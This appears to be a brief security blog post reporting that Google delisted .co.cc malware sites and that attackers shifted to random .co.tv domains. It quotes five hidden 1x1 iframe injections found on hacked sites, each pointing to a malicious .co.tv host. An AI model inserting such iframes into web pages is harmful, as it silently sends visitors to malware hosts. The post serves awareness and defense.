The Latest in IT Security

It is being reported that Google took action against the high number of malware sites in the .co.cc domain, removing more than 11 million sites from their search results.

For us this is good news, since we haven’t been seeing anything good coming from there (only malware and spam). They did a similar thing a few weeks ago blacklisting the whole .cz.cc domain.

However, just as they blacklisted the .co.cc, we are started to see the attackers switching tactics and using different free domains. The popular one now is .co.tv:

<iframe src="http://uhcmsgfq&#46co&#46tv/?go=1" width="1" height="1"></iframe>

<iframe src="http://yswlifofj&#46co&#46tv/?go=1" width="1" height="1"></iframe> 

<iframe width="1" height="1" src="http://vmvfonc&#46co&#46tv/?go=1"></iframe>

<iframe src="http://cvfplmpsap&#46co&#46tv/?go=1" width="1" height="1"></iframe>

<iframe src="http://kwhnqxvslf&#46co&#46tv/?go=1" width="1" height="1"></iframe>

Those are just some of the malicious iframes we are seeing on hacked sites now (when a few weeks ago they would be on the .co.cc domain). As you can see by their names (vmvfonc.co.tv, kwhnqxvslf.co.tv, yswlifofj.co.tv, etc) they are random and being mass generated.

We are also seeing a lot of malware and spam in the .co.be domain range (like dumoxoveba21.co.be), but it seems google banned the whole .co.be as well.

What Google is doing is good, but the “war” is not over

If you are worried your site might be hacked or compromised, scan it here: http://sitecheck.sucuri.net.